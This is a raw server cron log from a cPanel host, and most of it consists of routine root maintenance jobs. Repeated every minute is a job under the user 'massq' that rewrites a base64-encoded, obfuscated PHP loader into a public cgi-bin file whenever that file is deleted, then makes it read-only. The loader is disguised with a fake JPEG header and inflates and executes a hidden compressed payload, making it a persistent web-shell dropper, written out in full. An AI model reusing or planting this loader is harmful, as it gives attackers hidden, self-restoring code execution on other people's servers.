Sep  9 20:50:01 server CROND[13622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:50:01 server CROND[13620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:50:01 server CROND[13619]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 20:50:01 server CROND[13624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:51:01 server CROND[14644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:51:01 server CROND[14645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:51:01 server CROND[14646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:52:01 server CROND[15024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:52:01 server CROND[15025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:52:01 server CROND[15026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:53:01 server CROND[15405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:53:01 server CROND[15403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:53:01 server CROND[15404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:54:02 server CROND[15784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:54:02 server CROND[15785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:54:02 server CROND[15786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:55:01 server CROND[16174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:55:01 server CROND[16175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:55:01 server CROND[16178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:55:01 server CROND[16182]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 20:55:01 server CROND[16179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:55:01 server CROND[16180]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:55:01 server CROND[16181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:56:01 server CROND[17105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:56:01 server CROND[17106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:56:01 server CROND[17107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:57:01 server CROND[17497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:57:01 server CROND[17498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:57:01 server CROND[17499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:57:01 server CROND[17500]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 20:58:01 server CROND[17881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:58:01 server CROND[17882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:58:01 server CROND[17883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:59:01 server CROND[18261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:59:01 server CROND[18263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:59:01 server CROND[18262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:00:01 server CROND[18656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:00:01 server CROND[18658]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:00:01 server CROND[18659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 21:00:01 server CROND[18660]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:00:01 server CROND[18664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:00:01 server CROND[18663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:00:01 server CROND[18662]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:00:01 server CROND[18667]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 21:00:01 server CROND[18661]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:01:01 server CROND[19571]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 21:01:01 server CROND[19572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:01:01 server CROND[19573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:01:01 server CROND[19574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:01:01 server run-parts(/etc/cron.hourly)[19571]: starting 0anacron
Sep  9 21:01:01 server run-parts(/etc/cron.hourly)[19592]: finished 0anacron
